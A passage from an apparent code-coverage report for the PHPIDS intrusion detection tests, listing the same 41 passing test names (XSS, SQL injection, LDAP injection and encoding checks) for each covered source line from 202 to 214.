class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel202": { - "header": "41 tests cover line 202", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel204": { - "header": "41 tests cover line 204", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel205": { - "header": "41 tests cover line 205", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel206": { - "header": "41 tests cover line 206", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel207": { - "header": "41 tests cover line 207", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel208": { - "header": "41 tests cover line 208", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel209": { - "header": "41 tests cover line 209", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel210": { - "header": "41 tests cover line 210", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel212": { - "header": "41 tests cover line 212", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel214": { - "header": "41 tests cover line 214", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li 